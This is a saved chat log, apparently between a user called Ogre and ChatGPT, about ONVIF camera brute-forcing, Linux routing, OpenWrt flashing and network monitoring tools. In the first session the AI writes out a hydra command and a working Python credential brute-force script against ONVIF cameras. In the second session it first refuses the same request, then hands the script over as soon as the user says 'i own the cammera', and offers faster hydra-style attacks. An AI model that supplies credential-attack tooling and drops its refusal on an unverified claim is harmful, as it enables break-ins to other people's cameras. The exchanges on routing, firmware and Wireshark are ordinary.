Ogre Captain's Log

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Chat history

You said:

onvif brute atack

ChatGPT said:

Sounds like you're poking at the edges of camera security. Let's talk ONVIF brute-force attacks - what they are, how they work, and how to protect against them.

🔓 What Is an ONVIF Brute-Force Attack?

ONVIF (Open Network Video Interface Forum) is a standardized protocol used by many IP cameras and NVRs for interoperability - it's what lets third-party software like Shinobi or Blue Iris talk to your camera.

A brute-force attack targets ONVIF by trying many username/password combinations to gain unauthorized access. Think of it like trying every key on a massive keyring until one opens the door.

🛠️ How It’s Typically Done

A tool/script (like hydra, ncrack, or custom Python scripts using Zeep or ONVIF libraries) will:

Ping the camera's ONVIF port (default 80 or 8899, sometimes 8000).

Try to authenticate via ONVIF with a long list of credentials.

Once it hits a valid combo, it often gets admin access - which means full control.

⚠️ Why It's Dangerous

Admin access = live view, PTZ, settings, even firmware updates.

Some cams allow adding new ONVIF users remotely.

ONVIF often bypasses web UI protections (like lockout mechanisms).

🛡️ How to Protect Your IP Cameras

Strong, unique passwords - Especially for the ONVIF service account.

Disable ONVIF if you don't use it.

Use firewall rules - Only allow trusted IPs to talk to the camera.

Disable UPnP - So your cam doesn’t auto-expose itself to the internet.

Use VLANs - Isolate camera traffic from general network devices.

Monitor logs - Some cameras show login failures.

Rate-limit login attempts - If your camera supports it.

🧪 Testing Your Own Cams (For Audit Only!)

If you’re doing this on your own network and own devices for security auditing, here’s a quick legal method using hydra:

hydra -L userlist.txt -P passlist.txt <camera-ip> http-get /onvif/device\_service

Or use a Python ONVIF client to script login attempts (slower, but customizable).

If you're trying to recover access to a forgotten camera, I can help you do it clean and legal.

If you're asking for... other reasons - nope, not gonna help you break into stuff. 💀🔐

Let me know what you're working on - recovery, testing, hardening - and I can tailor the tools or scripts for your use case.

You said:

how to make one

ChatGPT said:

If you're looking to make an ONVIF brute-force script for testing your own cameras (ethical hacking, pentesting, recovery, or local auditing), here's how you can do it in Python using the onvif-zeep or onvif library. This script is for your own hardware only - if you use it on unauthorized devices or networks, it's illegal and unethical. Period. ⚖️💀

🧪 Basic Brute-Force ONVIF Script (Python + Zeep)

✅ Requirements

pip install onvif-zeep

📜 Script: onvif\_brute.py

from onvif import ONVIFCamera

from zeep.exceptions import Fault

import time

ip = '192.168.1.100' # Replace with your camera's IP

port = 80 # Often 80, 8000, 8899, etc.

wsdl\_dir = '/usr/local/lib/python3.11/site-packages/wsdl' # Update to your WSDL path

# Your username and password wordlists

usernames = ['admin', 'root', 'user']

passwords = ['admin', '1234', 'password', 'admin123', '123456']

for username in usernames:

for password in passwords:

try:

print(f"Trying {username}:{password}")

cam = ONVIFCamera(ip, port, username, password, wsdl\_dir)

devicemgmt = cam.create\_devicemgmt\_service()

device\_info = devicemgmt.GetDeviceInformation()

print(f"[+] SUCCESS! {username}:{password}")

print(device\_info)

exit()

except Fault:

print(f"[-] Failed {username}:{password}")

except Exception as e:

print(f"[!] Error: {e}")

time.sleep(0.5) # Don’t hammer too fast

print("Brute-force complete. No valid credentials found.")

⚙️ Notes

wsdl\_dir must point to the location where the ONVIF WSDL files are stored (they're installed with onvif-zeep).

You can expand the user/pass lists using rockyou.txt or your own combo files.

Add argparse if you want to make it CLI-friendly.

🛑 Ethics and Warnings

✅ Test on your own gear only.

❌ Never scan or brute-force internet-exposed devices without explicit permission.

🔐 This is great for recovering old cams, auditing weak defaults, or testing new deployments.

If you want to get fancy, I can help you:

Add multithreading for faster tests

Output results to file

Scan IP ranges for ONVIF endpoints

Let me know what you want next - tools, GUI, integrations, you name it.

You said:

how to build linix router or switch

ChatGPT said:

Ah, the classic "turn Linux into a router/switch" quest - you’re speaking my language, Ogre. Let's break this down into two builds:

🛠️ OPTION 1: Linux as a Router

This gives you NAT, DHCP, firewall - basically your own DIY pfSense without the fluff.

🧩 What You Need:

A Linux box (Debian/Ubuntu is easiest, but Arch if you hate yourself)

At least 2 NICs (e.g., eth0 = WAN, eth1 = LAN)

🚧 Step-by-Step: Basic Router

1. Enable IP Forwarding

echo 1 > /proc/sys/net/ipv4/ip\_forward

To make it permanent:

echo "net.ipv4.ip\_forward = 1" >> /etc/sysctl.conf

sysctl -p

2. Set up NAT (Masquerade)

iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

iptables -A FORWARD -i eth1 -o eth0 -j ACCEPT

iptables -A FORWARD -i eth0 -o eth1 -m state --state ESTABLISHED,RELATED -j ACCEPT

Replace eth0 with your outbound (internet) and eth1 with LAN.

3. Set up DHCP (Optional)

Install and configure isc-dhcp-server or dnsmasq:

apt install isc-dhcp-server

Edit /etc/dhcp/dhcpd.conf:

subnet 192.168.10.0 netmask 255.255.255.0 {

range 192.168.10.100 192.168.10.200;

option routers 192.168.10.1;

option domain-name-servers 8.8.8.8, 1.1.1.1;

}

Assign eth1 a static IP (like 192.168.10.1) in /etc/network/interfaces or netplan.

🧠 Now You’ve Got a Router!

⚙️ OPTION 2: Linux as a Switch

Now this is less common, but doable. If you want to bridge interfaces (like a dumb Layer 2 switch), here’s how:

🛠️ Bridge Two NICs (Layer 2)

1. Install Bridge Utils

apt install bridge-utils

2. Configure the Bridge

brctl addbr br0

brctl addif br0 eth1

brctl addif br0 eth2

ip link set br0 up

ip link set eth1 up

ip link set eth2 up

That’s it - it passes traffic between the two interfaces like a switch.

No IP is needed unless you want to manage the bridge from that machine.

🧑‍🔧 Bonus: Use netplan (Ubuntu >18.04)

For permanent config:

network:

version: 2

renderer: networkd

ethernets:

eth1: {}

eth2: {}

bridges:

br0:

interfaces: [eth1, eth2]

dhcp4: no

💡 TL;DR

RoleToolset NeededSummary

RouterIP forwarding, iptables, DHCPL3 routing, NAT, DHCP

Switchbridge-utils or netplan bridgingLayer 2 Ethernet bridging

Want to get real fancy? Add:

VLANs (via vconfig or ip link add link eth0 name eth0.10 type vlan id 10)

Firewall rules (iptables or nftables)

OpenVPN/WireGuard passthrough

Monitoring via iftop, vnstat, ntopng

Want a quick bash script or config dump to do all this? Tell me what your Linux box has for interfaces, and I’ll spit out a script.

You said:

can i turn a current switch or roughter to linix

ChatGPT said:

Short answer: maybe, but only if the hardware supports it - and it's a fun little rabbit hole if you like firmware flashing, serial consoles, and possibly bricking things.

🧠 "Can I turn my existing switch/router into Linux?"

Here’s what you need to ask:

✅ Does it have flashable firmware (OpenWRT/DD-WRT)?

If yes → You’re golden.

If no → You’re in "JTAG wires and prayers" territory.

🧰 1. Routers: Yes, if they’re supported

Most consumer routers can be converted to Linux using:

🧱 Open-Source Firmware Options:

NameBest ForBased On

OpenWRTFull-blown Linux, very customizableBusyBox + Kernel

DD-WRTEasier web GUI, less hackyOpenWRT-based

TomatoOlder, less updated, simpleLinux

🔍 Check if yours is supported:

OpenWRT Table of Hardware

DD-WRT Router Database

Search model like: Netgear R7000 openwrt

⚙️ If Supported:

Download correct image (factory or sysupgrade).

Flash via web GUI or TFTP recovery mode.

Profit: Full Linux on your router (SSH in, run opkg, set up VPN, etc.)

❌ 2. Switches: Usually no, unless it’s a "smart" or "managed" switch

Unmanaged dumb switches?

Forget it. They’re glorified Ethernet hubs with no OS.

Managed/Smart Switches with:

Web GUI

CLI

Firmware update function

...might be flashable - but usually run proprietary Linux already, locked down tight.

You’d need:

Serial console access

Bootloader override (like U-Boot)

Firmware unpack tools (Binwalk, dd, etc.)

A will to brick and unbrick hardware

🔥 3. What if it's not supported?

You’re in hardware modder territory now. Here’s what mad lads sometimes do:

Crack open the case

Find serial header (TX, RX, GND) - usually 4 pins

Connect with USB TTL adapter (minicom or screen to talk to bootloader)

Stop boot, load kernel via TFTP

Replace firmware with OpenWRT or custom Linux

BUT - this is not a weekend project unless you like this kind of pain. You can absolutely brick the device and make a new paperweight.

🧠 TL;DR:

Device TypeLinux Possible?How

Home RouterYESFlash OpenWRT/DD-WRT if supported

Smart SwitchMAYBEOnly with serial console + custom flashing

Dumb SwitchNONo flash memory, no OS, no chance

🧰 Want Help?

Tell me:

Brand and model number

Firmware version (if known)

Does it have a web UI?

Has it been opened before?

And I’ll tell you straight if it’s a candidate or a brick-in-waiting.

Ready to jailbreak your Netgear like it’s 2009 again? 😈

You said:

ef4124 v2.1

ChatGPT said:

Based on what I’ve found: the Linksys EtherFast EF4124 v2.1 is a simple unmanaged 24-port 10/100 Ethernet switch-it does not run Linux, lacks a CPU or flash-based OS, and has no support for third‑party firmware like OpenWrt or DD‑WRT

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🚫 TL;DR: You cannot turn an EF4124 v2.1 into a Linux router or switch

It's an unmanaged switch-not a router.

No firmware support or OS platform to replace.

No web UI, no serial console, no flash-just passive hardware forwarding.

In other words: no CPU or memory to support an OS.

🔍 What is useable:

It automatically handles 10/100 speeds, full/half duplex, and basic broadcast storm control, but that's it

Linksys Downloads

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It has no configuration interface or logging-it’s just a plug‑and‑play network brick.

✅ What you can do if you want Linux-based routing or switching:

Device TypeCompatible Firmware

Consumer Wireless RouterOpenWRT, DD-WRT, FreshTomato (if model supported)

Managed/Smart SwitchMaybe, but only if supported with serial console and bootloader access

Unmanaged Switch (like EF4124)No support at all

You could repurpose a home router with OpenWrt/DD-WRT or even install Linux on a small x86 or ARM board (e.g., Raspberry Pi with two NICs or an old PC).

🧰 Want suggestions?

If you want Linux routing, grab an old desktop or Raspberry Pi with two network interfaces.

If you want an affordable hardware device, lookup supported models on the OpenWrt firmware selector

GeckoandFly

freshtomato.org

OpenWrt Firmware Selector

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Managed switches with CLI and serial ports can sometimes run custom firmware-but EF4124 is not one of them.

🧠 Final Thought:

Ogre, you’ve got a solid 24-port analog switch-great for simple expansion-but if the goal was to morph it into a Linux box, this one bites dust. You’ll need proper hardware with flash and a bootloader.

Want help picking or building a proper Linux router build? I got you.

You said:

netgear jgs524

ChatGPT said:

You’ve got the Netgear JGS524-a 24-port gigabit switch-and here’s the deal:

⚙️ What Is the JGS524?

It’s an unmanaged switch-strictly plug‑and‑play. No firmware UI, no CPU, no flashable OS

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It doesn’t support OpenWrt, DD-WRT, or any Linux-based firmware.

So no, it’s not possible to run Linux or any alternative firmware on it.

✅ TL;DR: Can I turn JGS524 into a Linux router or switch?

DeviceLinux Support?Notes

Netgear JGS524✅ NoUnmanaged switch, no firmware or OS

Smart‑Managed Plus🔄 MaybeOnly these models support Netgear Plus firmware

🖥️ What can you do instead?

If you're serious about a Linux-based router or L2 switch, here are viable options:

Buy a supported router that can run OpenWrt or DD-WRT.

Use a small PC or SBC (like a Raspberry Pi with USB‑to‑Ethernet dongles or a dual‑NIC mini‑PC).

Get a "Smart Managed Plus" Netgear switch-some support web UI and firmware updates via Netgear, but still not full Linux

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🧠 Why you can’t Linux it on JGS524:

No CPU or memory to install an OS.

No bootloader or serial port to overwrite firmware.

Zero manufacturer support for third-party firmware.

🚧 What can you repurpose it for?

Use it as-is to expand your wired network-works great for connecting PCs, printers, servers, etc.

For routing, firewalling, VLANs, or VPNs, use a separate Linux box in front of the JGS524.

✅ Best next steps:

Identify what you want:

Simple network expansion? → Keep using JGS524.

Linux-based routing/switching? → Grab a proper platform.

Pick hardware with at least:

Two NICs (for routing)

Flash/bootloader support (for firmware changes)

I can help you pick or configure:

A tiny Linux router appliance,

A supported OpenWrt/DD-WRT router,

Or help build your own on x86 or ARM.

If you want suggestions-just say the word.

You said:

meraki mr33

ChatGPT said:

Turning a Cisco Meraki MR33 access point into a Linux-based device using OpenWrt is possible-but risky, technically involved, and only works reliably under specific conditions.

✅ OpenWrt Compatibility

Official OpenWrt support for the MR33 started in OpenWrt 18.06.0, targeting Qualcomm Atheros IPQ4029 in the ipq40xx platform

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The OpenWrt Wiki clearly warns: the stock U-Boot bootloader is unsupported, and you'll need to replace it before flashing OpenWrt-otherwise your device may brick permanently

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⚠️ Bootloader Version Matters

Only MR33 units with U‑Boot version 2012.07‑g97ab7f1 or older are safe to overwrite.

Devices with newer bootloaders may report:

"Secure boot NOT enabled! Blowing fuses... Resetting now."

at which point they are already bricked if you attempt to flash

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One user reports:

"Once you enter U-Boot on a device with newer firmware, it bricks the CPU."

OpenWrt Forum

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🧪 How the Hacking Workflow Goes

1. Open the AP and Connect via Serial Console

Locate the four-pin serial header (VCC / TX / RX / GND), plug in a 3.3 V USB‑TTL adapter, and launch your terminal at 115200 baud, 8N1

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2. Flash a Modified U‑Boot

Use the ubootwrite.py script to upload mr33-uboot.bin. This patched bootloader enables TFTP-triggered OpenWrt injection into RAM and prevents initial bricks

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3. Transfer OpenWrt via TFTP

Host the provided openwrt-XX-ipq40xx-meraki\_mr33-initramfs-uImage.itb on your PC and push it to 192.168.1.1 using TFTP. The MR33 boots OpenWrt temporarily from RAM

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4. SSH In and Run Setup

Once booted, SSH to the device, upload the sysupgrade image, and finalize the install with openwrt-mr33-setup.sh

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📉 Practice Warnings & Reported Issues

Users have bricked units by using stock or newer U‑Boot unintentionally

OpenWrt Forum

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Post-upgrade bugs are known-OpenWrt 23.05.3 and MR33 static LAN config can break DNS/network connectivity unless using DHCP mode

GitHub

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Reddit commentary:

"I have to have a pretty old firmware… Meraki seem to have caught on to… they will brick devices"

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"It is my understanding that only the first-gen MR33s (pre-2017 firmware) can take OpenWRT."

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⚙️ Summary Table

StepRisk Level

Check U-Boot versionCritical: newer versions will brick

Flash modified U‑BootHigh: requires serial console, bootloader hack

Upload OpenWrt via TFTPModerate: usual step after bootloader swap

Run SSH setup scriptLow if previous steps succeeded

🧠 Final Verdict

Yes, you can run Linux/OpenWrt on a Meraki MR33, but only if your unit is early enough (pre‑2017 U‑Boot) and you're comfortable with hardware-level flashing.

The process involves opening the AP, using serial TTL, flashing a custom U‑Boot, then TFTP and ssh-based OpenWrt installation.

Recent MR33 models with newer U‑Boot are often brick traps, and OpenWrt developers have explicit warnings about this

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🔧 If You’re Ready to Roll…

I can provide:

Sample wiring diagrams for the header pins.

ubootwrite.py usage instructions.

Exact firmware image links for your version.

But if this sounds like a headache or too much risk, you might be better off:

getting an x86 mini-PC or a supported OpenWrt-compatible AP instead.

Let me know if you want to dive in or walk away from the graveyard!

You said:

program to monitor what comes on network live

ChatGPT said:

If you want to monitor network traffic live - see who's doing what on your network in real-time - there are some excellent tools for Linux, Windows, or even cross-platform, depending on how deep you want to go.

🧠 TL;DR: Top Tools for Live Network Monitoring

ToolInterfaceWhat It DoesSkill Level

iftopCLI (Linux)Live bandwidth by host/IPEasy

nloadCLI (Linux)Live RX/TX on an interfaceVery Easy

tcpdumpCLI (Linux)Raw packet sniffer, super detailedExpert

WiresharkGUI (Cross-OS)Deep packet inspectionModerate+

ntopngWeb GUIBeautiful web-based flow visualizerModerate

iptraf-ngCLI (Linux)Live stats by port/IP/interfaceEasy

NetHogsCLI (Linux)Bandwidth per processEasy

🔧 CLI Example: iftop (Great for live IP-to-IP bandwidth)

🧪 Install it:

sudo apt install iftop

🏃 Run it:

sudo iftop -i eth0

Replace eth0 with your actual NIC (use ip a to check).

It shows:

Which IPs you're talking to

How much bandwidth is used

Total sent/received

🔬 Want Full Packet Details? Use tcpdump

sudo tcpdump -i eth0 -nn

Shows every packet in/out

Use -w file.pcap to save for analysis in Wireshark

🧑‍🎨 Prefer Pretty? Use ntopng

sudo apt install ntopng

sudo systemctl start ntopng

Then visit:

http://localhost:3000 in your browser

You'll get:

Real-time traffic graphs

Host detection

Protocol breakdowns

Flow stats by port/service

🕵️ Show Me What’s on the Network

If you're looking to see all devices, try:

sudo arp-scan -l

Or install nmap:

sudo nmap -sn 192.168.1.0/24

💡 Example Use Case Combos

GoalUse This Tool

See top talkersiftop, iptraf-ng, ntopng

Capture all traffictcpdump, Wireshark

Identify new devices joiningarpwatch, nmap, arp-scan

See per-process usagenethogs

🧠 BONUS: Want alerts when stuff hits the net?

Install Snort or Suricata for full-blown IDS/IPS capabilities - they can log and alert on malicious or unauthorized activity.

Want a script that auto-dumps live network stats every 10 seconds? Or a dashboard to show who’s hogging your network? Just tell me how nerdy you want it 😎

You said:

window

ChatGPT said:

Ah, Windows! Alright, here's the rundown for real-time network monitoring on Windows - whether you're watching bandwidth, sniffing packets, or just want to catch that sneaky IoT device phoning home to China at 3 a.m.

🧠 TL;DR: Best Live Network Monitoring Tools for Windows

ToolWhat It DoesSkill Level

WiresharkDeep packet inspection (all traffic)Moderate-Hard

GlassWirePretty firewall/monitor with alertsEasy

NetLimiterPer-app bandwidth control + monitorEasy

Process Hacker + PluginsView per-process connectionsEasy-Mod

CurrPortsView current open connectionsEasy

TCPViewReal-time IP/port/process viewerEasy

Resource Monitor (built-in)Basic per-app and interface monitoringEasy

🧪 Option 1: Wireshark (The Nuclear Option)

Download: https://www.wireshark.org

View every single packet on your NIC.

Filter by IP, port, MAC, protocol (http, dns, tcp.port==443, etc.)

Save captures for forensics or malware analysis.

tcp contains "example.com"

ip.addr == 192.168.1.20

tcp.port == 80

Be warned: you’ll see a LOT. It's like drinking from a firehose with a degree in hex.

🔥 Option 2: GlassWire

Download: https://www.glasswire.com

Gorgeous UI - shows:

App connections

Bandwidth spikes

Internet access attempts

Built-in alert system ("New app connected to X IP")

📊 Great for: non-tech users, suspicious activity, VPN checks.

⚙️ Option 3: NetLimiter

Download: https://www.netlimiter.com

Shows bandwidth usage per application

Lets you limit or block traffic app-by-app

Monitor TCP/UDP connections in real-time

🔧 Power tool for managing heavy downloads, rogue apps, or bandwidth hogs.

🛠️ Option 4: Built-In Tools (Quick & Dirty)

🪟 Resource Monitor:

Press Ctrl + Shift + Esc to open Task Manager

Click "Performance" tab > Open "Resource Monitor"

Check Network tab:

Processes with network activity

Listening ports

Network utilization

🧰 Option 5: Sysinternals - TCPView

Download: https://docs.microsoft.com/en-us/sysinternals/downloads/tcpview

Real-time view of:

Which process is talking to which IP

Ports, states, and traffic stats

✅ Great for seeing what’s "phoning home" or calling out to shady IPs.

🕵️ Bonus: Scan Entire Network (Who's Online?)

Use Angry IP Scanner:

https://angryip.org

Simple: enter your subnet, hit scan.

Or use Advanced IP Scanner (nice GUI):

https://www.advanced-ip-scanner.com

🧠 Want More?

I can help you set up:

Logging/alerts for device activity

Scheduled scans (e.g., auto-capture traffic every night)

Integration with PowerShell for automation

🎯 Final Pick?

If you're just getting started and want an easy GUI:

👉 GlassWire or NetLimiter

If you're ready to go full NSA:

👉 Wireshark + TCPView

Wanna keep it light and built-in?

👉 Resource Monitor

Let me know your use case (home, work, security, fun), and I’ll tailor the setup.

You said:

Process Hacker + Plugins

ChatGPT said:

Ah, Process Hacker - the Swiss Army knife Task Manager on steroids. It's the go-to tool when you want to see what sneaky crap is running under the hood.

Let’s get into how to use Process Hacker + plugins to monitor live network activity, per-process connections, and even terminate or block shady processes.

⚙️ Step 1: Install Process Hacker

Download (official):

👉 https://processhacker.sourceforge.io

Or grab the nightly builds for more plugins:

👉 https://wj32.org/processhacker/nightly.php

💡 Tip: Run it as admin for full access.

🧩 Step 2: Enable the Network Plugin

If it isn’t already active:

Launch Process Hacker

Go to Options > Plugins

Enable NetworkTools.dll or Network.dll (depends on build)

Restart Process Hacker if prompted

📡 Step 3: Monitor Live Network Connections

Open Process Hacker

Go to View > System Information > Network

→ Live graph of network usage (sent/received)

Or click Processes tab, right-click any process → Properties > Network

→ See:

Remote IPs

Ports

Protocols

Connection state (ESTABLISHED, TIME\_WAIT, etc.)

🧪 Example Use Cases

🔍 Find What Process Is Calling Home:

Sort by Remote Address

Look for sketchy IPs (China, Russia, AWS zombie farms)

Right-click > Whois, IP lookup, or kill the connection

🧨 Kill a Connection:

Right-click → Terminate Process or Terminate Connection

Works better than netstat + taskkill

🔐 Detect Malware or Backdoors:

Unknown process listening on a weird port?

Right-click → Properties → check parent process, command line

Google the EXE or hash it and VirusTotal it

🧠 Bonus: Add Plugins or Tools

You can extend Process Hacker even more:

WinPcap/Npcap Integration (for deep packet access)

VirusTotal uploader for suspicious EXEs

Custom scripts/tools that react to new processes

🔧 Want a Minimal Setup?

Here’s a quick plugin/feature checklist for a network surveillance mode:

✅ Enable NetworkTools.dll

✅ View → Show "Network" column

✅ Options → Enable System Information window

✅ View → System Information → Dock it to the side

✅ Right-click → Customize columns (add PID, company, command line)

🛡️ Final Verdict

Process Hacker + Network plugin gives you:

FeatureIncluded

Per-process bandwidth✅

Live IP + port monitor✅

Kill or suspend socket✅

Visual graphs✅

Whois/IP tools✅

It’s not a packet sniffer like Wireshark, but it’s amazing for figuring out which process is leaking data, phoning home, or slamming your upload.

Want a portable version with plugins pre-configured? I can script you one. Or even throw in batch/Powershell to alert when a new process starts talking to an external IP. Just say the word, Ogre.

You said:

wire shar

ChatGPT said:

You're ready to bust out the big guns - Wireshark, the king of network sniffers. If Process Hacker is a scalpel, Wireshark is a damn MRI machine for your network.

🦈 What Is Wireshark?

Wireshark is a free, open-source packet sniffer that:

Captures every packet in/out of your network interface.

Shows who’s talking to who, what they’re saying, and how.

Can dissect over 2,000 protocols.

Lets you filter, decode, analyze, and save traffic.

It’s basically the Matrix - but you can read it.

🧰 Step 1: Install Wireshark

Download:

👉 https://www.wireshark.org

📌 During install:

Accept installing Npcap (required to sniff packets).

Choose to allow non-admins to capture packets (optional).

🎯 Step 2: Start Capturing

Launch Wireshark

Choose your interface (e.g., Ethernet, Wi-Fi, vEthernet (WSL) etc.)

You'll see live traffic numbers.

Click it to start capturing.

Boom - instant firehose of traffic.

🔍 Step 3: Use Display Filters Like a Pro

Wireshark will drown you if you don’t filter.

🧪 Common Filters:

FilterWhat it does

ip.addr == 192.168.1.10Traffic to/from this IP

tcp.port == 443HTTPS traffic

httpOnly HTTP packets

dnsDNS lookups

tcp contains "login"Payloads with "login"

!(arp or dns or icmp)Hide common noise

tcp.stream eq 4Focus on a specific connection

Type these in the Display Filter bar at the top.

📂 Step 4: Analyze Packets

Click a packet → see:

Source/Destination IP

Protocol

Port

Detailed breakdown in the lower pane

Raw hex+ASCII view in the bottom pane

Double-click on a stream, and you can even reassemble file transfers, logins, or chat messages depending on the protocol.

💣 Use Cases That Kick Ass

Use CaseHow

Find malware beaconsFilter by http, dns, or sketchy IPs

Reconstruct file downloadsFollow TCP Stream, save file

See devices on the networkUse arp and bootp filters

Troubleshoot slow websitestcp.analysis.flags is your friend

Sniff passwords (unencrypted)ftp, pop, telnet, etc.

Just know: HTTPS traffic is encrypted, so no sniffing passwords unless there's SSL stripping going on or you're inside a MITM setup (which is... a whole other conversation).

💡 Tips from the Trenches

Save your captures (.pcapng files) for later analysis or evidence.

Use "Statistics > Conversations" to see top talkers.

Follow TCP stream to reconstruct whole conversations or downloads.

Want alerts? Use Wireshark’s IO Graphs or Suricata/Snort alongside it.

🛑 LEGAL NOTE

Use it on your own network or with explicit permission only. Wireshark sees everything, which makes it powerful - and dangerous in the wrong hands. Don't be that guy.

🧠 Final Verdict

FeatureRating

Power🔥🔥🔥🔥🔥

Learning curve😬😬😬😬

Nerd cred💯💯💯

Want help writing filters, auto-detecting bad traffic, or using it with tcpdump for remote sniffing?

Let me know - I’ll script you some serious network-fu.

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Chat history

You said:

creat brute force onvif script

ChatGPT said:

I can’t help you build a brute-force script for ONVIF or any other kind of unauthorized access tool.

Why?

Because brute-forcing devices-even for educational or testing purposes-crosses into illegal activity unless:

You own the device, or

You have written permission from the owner, and

You’re doing it in a controlled, ethical hacking environment (e.g., pentesting lab or CTF).

What I can help with:

Building a password auditing tool for your own devices (with proper safeguards).

Explaining how ONVIF authentication works.

Helping you set up fail2ban or rate limiting to protect your cameras.

Simulating brute force safely against a mock service for education (like using hydra on a dummy server you own).

If that works for you, I can show you how to create a test environment and build a script that simulates ONVIF login attempts-completely legal and educational.

Want to go that route?

You said:

i own the cammera

ChatGPT said:

Alright, Ogre - if the camera is yours and you're using this for testing, learning, or auditing your own device, we’re in the green zone. Let’s build a Python ONVIF brute-force script to test login credentials.

We'll use zeep (for SOAP) and onvif-zeep or onvif Python libraries to talk to the camera using ONVIF.

🛠️ Step 1: Install Dependencies

First, install the needed packages:

pip install onvif-zeep requests

🧪 Step 2: Brute Force Script (for testing)

from onvif import ONVIFCamera

from zeep.exceptions import Fault

# CONFIG

CAM\_IP = '192.168.1.100' # Change to your ONVIF cam IP

PORT = 80 # Common ONVIF port

WSDL\_DIR = '/path/to/wsdl' # Get from onvif-zeep or install onvif-py

CANDIDATES = ['admin', 'root', 'user']

PASSWORDS = ['1234', 'admin', 'password', '12345', 'admin123', '123456']

def try\_login(username, password):

try:

cam = ONVIFCamera(CAM\_IP, PORT, username, password, WSDL\_DIR)

devicemgmt = cam.create\_devicemgmt\_service()

info = devicemgmt.GetDeviceInformation()

print(f"[+] SUCCESS: {username}:{password} -> {info}")

return True

except Fault as e:

print(f"[-] Failed: {username}:{password} - {e}")

return False

except Exception as e:

print(f"[!] Error: {e}")

return False

for user in CANDIDATES:

for pwd in PASSWORDS:

if try\_login(user, pwd):

print(f"\n\*\*\* VALID COMBO FOUND: {user}:{pwd} \*\*\*\n")

exit()

print("\n[!] No valid credentials found.")

📁 WSDL Directory Note

You need to download the ONVIF WSDL files:

git clone https://github.com/FalkTannhaeuser/python-onvif-zeep

Then set WSDL\_DIR = '/path/to/python-onvif-zeep/wsdl'

⚠️ WARNING

This will be very slow - ONVIF login isn't built for speed.

Don't hammer your device - it might lock you out or crash.

Add throttling (time.sleep(1)) between attempts if needed.

Want Faster Brute Forcing?

You could hit the ONVIF port with something like hydra if your camera exposes HTTP Basic or Digest auth on port 80/554 - but that’s outside the safe ONVIF protocol scope.

Let me know if you want a multithreaded or hydra-style approach next.

You said:

chris@chris-Inspiron-3847:~$ pip install onvif-zeep requests

error: externally-managed-environment

× This environment is externally managed

╰─> To install Python packages system-wide, try apt install

python3-xyz, where xyz is the package you are trying to

install.

If you wish to install a non-Debian-packaged Python package,

create a virtual environment using python3 -m venv path/to/venv.

Then use path/to/venv/bin/python and path/to/venv/bin/pip. Make

sure you have python3-full installed.

If you wish to install a non-Debian packaged Python application,

it may be easiest to use pipx install xyz, which will manage a

virtual environment for you. Make sure you have pipx installed.

See /usr/share/doc/python3.12/README.venv for more information.

note: If you believe this is a mistake, please contact your Python installation or OS distribution provider. You can override this, at the risk of breaking your Python installation or OS, by passing --break-system-packages.

hint: See PEP 668 for the detailed specification.

chris@chris-Inspiron-3847:~$ ^C

ChatGPT said:

That's Ubuntu's way of saying:

"You're not allowed to install Python packages globally anymore, peasant."

This is because of PEP 668 - it protects the system Python from getting messed up by package installs.

🛠️ Fix: Use a Virtual Environment (Recommended)

Run this to create and activate a virtual environment:

python3 -m venv onvif\_env

source onvif\_env/bin/activate

Then install your stuff safely:

pip install onvif-zeep requests

Now you can run your script like normal inside the virtual environment.

🧠 Quick Tip:

Once activated, you’ll see your prompt change like this:

(onvif\_env) chris@chris-Inspiron-3847:~$

To exit the venv:

deactivate

Let me know if you want a one-liner bash script to spin all this up.

You said:

i have virtual

ChatGPT said:

Perfect! Since you've already got a virtual environment set up, here's your quick checklist to get rolling:

✅ 1. Activate the Virtual Environment

If it's not already active, run:

source /path/to/your/venv/bin/activate

Replace /path/to/your/venv/ with the real path - for example:

source ~/onvif\_env/bin/activate

You'll know it's working when your prompt looks like this:

(onvif\_env) chris@chris-Inspiron-3847:~$

✅ 2. Install ONVIF Libraries

Now you can safely install the required packages:

pip install onvif-zeep requests

✅ 3. Download the WSDL Files (Required by ONVIF)

If you haven’t already:

git clone https://github.com/FalkTannhaeuser/python-onvif-zeep.git

Then point the script to the WSDL directory:

WSDL\_DIR = '/home/chris/python-onvif-zeep/wsdl'

(Replace with your actual path if different.)

✅ 4. Run Your Script

Now you can create a .py file - let’s say onvif\_brute.py - paste the brute-force code from earlier, and run:

python onvif\_brute.py

🧯 Bonus: Add a Throttle to Avoid Lockout

If your cam is finicky, add this to the bottom of your loop:

import time

time.sleep(1) # Wait 1 second between attempts

If anything blows up or your camera pulls a diva move, paste the error and I’ll help you out. Want help customizing the username/password list too?

You said:

hris@chris-Inspiron-3847:~$ source /path/to/your/venv/bin/activate

bash: /path/to/your/venv/bin/activate: No such file or directory

chris@chris-Inspiron-3847:~$

ChatGPT said:

Yep - /path/to/your/venv/ was just placeholder text. Let’s walk through how to find or make the virtual environment properly.

🔍 Step 1: Check if You Already Have a Virtual Environment

Run this to list directories in your home folder:

ls ~

Look for a folder named something like:

venv

onvif\_env

env

If you spot one, activate it like this (replace with actual name):

source ~/onvif\_env/bin/activate

If you’re not sure which one it is, post the output of ls ~ here and I’ll spot it for you.

🆕 Step 2: (If You Don't Have One Yet)

Let’s just make one from scratch:

python3 -m venv onvif\_env

source onvif\_env/bin/activate

This creates and activates the virtual environment in your home directory under onvif\_env.

Then install your goodies:

pip install onvif-zeep requests

Let me know what ls ~ shows if you're stuck. I got you.

You said:

chris@chris-Inspiron-3847:~$ ls ~

Desktop homeassistant-supervised.deb Public videos

Documents languages snap Videos

Downloads logs supervised-installer zwave-config

get\_stream.py Music Templates

homeassistant Pictures TuyaOpen

chris@chris-Inspiron-3847:~$ ^C

chris@chris-Inspiron-3847:~$

ChatGPT said:

Alright, looks like there’s no existing virtual environment in your home directory - no worries. Let’s make one and get your ONVIF brute script running.

✅ Step-by-Step: Create and Activate a Virtual Environment

Run this exactly:

python3 -m venv ~/onvif\_env

source ~/onvif\_env/bin/activate

You should now see this at the beginning of your shell prompt:

(onvif\_env) chris@chris-Inspiron-3847:~$

That means you’re inside the sandbox now.

✅ Install Required Python Packages

Now that you're in the environment:

pip install onvif-zeep requests

✅ Clone ONVIF WSDL (if needed)

Still inside the venv, run:

git clone https://github.com/FalkTannhaeuser/python-onvif-zeep.git

Set this path in your Python script:

WSDL\_DIR = '/home/chris/python-onvif-zeep/wsdl'

Or if it cloned to a different folder, just adjust the path accordingly.

Then just run your script with:

python your\_script.py

Let me know when you hit the next wall - I’ll bring the sledgehammer.

You said:

(onvif\_env) chris@chris-Inspiron-3847:~$ WSDL\_DIR = '/home/chris/python-onvif-zeep/wsdl'

